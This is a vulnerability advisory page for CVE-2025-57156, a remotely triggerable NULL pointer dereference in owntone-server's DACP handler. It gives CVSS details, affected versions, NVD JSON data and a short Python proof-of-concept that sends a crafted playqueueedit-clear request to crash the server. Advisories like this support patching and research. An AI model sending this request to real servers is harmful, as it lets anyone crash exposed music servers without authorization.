Security Vulnerability Report
中文
CVE-2025-57156 CVSS 7.5 HIGH

CVE-2025-57156

Published: 2026-01-20 21:16:04
Last Modified: 2026-02-13 21:04:42

Description

NULL pointer dereference in the dacp_reply_playqueueedit_clear function in src/httpd_dacp.c in owntone-server through commit 6d604a1 (newer commit after version 28.12) allows remote attackers to cause a Denial of Service (crash).

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:owntone:owntone_server:*:*:*:*:*:*:*:* - VULNERABLE
owntone-server < 28.12
owntone-server commit < 6d604a1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-57156 PoC - owntone-server NULL pointer dereference This PoC triggers the NULL pointer dereference in dacp_reply_playqueueedit_clear """ import socket import sys def send_dacp_request(host, port, request): """Send DACP request to owntone-server""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, port)) sock.send(request.encode('utf-8')) response = sock.recv(4096) sock.close() return response except Exception as e: print(f"[-] Error: {e}") return None def create_malicious_dacp_request(): """Create malicious DACP playqueueedit_clear request""" request = ( "GET /playqueueedit-clear HTTP/1.1\r\n" "Host: owntone-server\r\n" "Active-Remote: 12345678\r\n" "Content-Type: application/x-www-form-urlencoded\r\n" "Connection: close\r\n\r\n" ) return request def main(): host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" port = int(sys.argv[2]) if len(sys.argv) > 2 else 3689 print(f"[*] CVE-2025-57156 PoC for owntone-server") print(f"[*] Target: {host}:{port}") malicious_request = create_malicious_dacp_request() print(f"[*] Sending malicious DACP request...") response = send_dacp_request(host, port, malicious_request) if response: print(f"[+] Response received: {response.decode('utf-8', errors='ignore')}") else: print(f"[!] No response or connection failed - service may have crashed") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-57156", "sourceIdentifier": "[email protected]", "published": "2026-01-20T21:16:03.790", "lastModified": "2026-02-13T21:04:41.903", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NULL pointer dereference in the dacp_reply_playqueueedit_clear function in src/httpd_dacp.c in owntone-server through commit 6d604a1 (newer commit after version 28.12) allows remote attackers to cause a Denial of Service (crash)."}, {"lang": "es", "value": "Una desreferencia de puntero NULL en la función dacp_reply_playqueueedit_clear en src/httpd_dacp.c en owntone-server a través del commit 6d604a1 (commit más reciente después de la versión 28.12) permite a atacantes remotos causar una Denegación de Servicio (caída)."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:owntone:owntone_server:*:*:*:*:*:*:*:*", "versionEndIncluding": "28.12", "matchCriteriaId": "6F5EE1FE-4E09-4928-9ABB-79505A38D198"}]}]}], "references": [{"url": "https://github.com/archersec/security-advisories/blob/master/owntone-server/owntone-server-advisory-2025.md", "source": "[email protected]", "tags": ["Patch", "Third Party Advisory"]}, {"url": "https://github.com/owntone/owntone-server/commit/5e4d40ee03ae22ab79534bb1410fa9db96c9fabd", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/owntone/owntone-server/issues/1907", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}]}}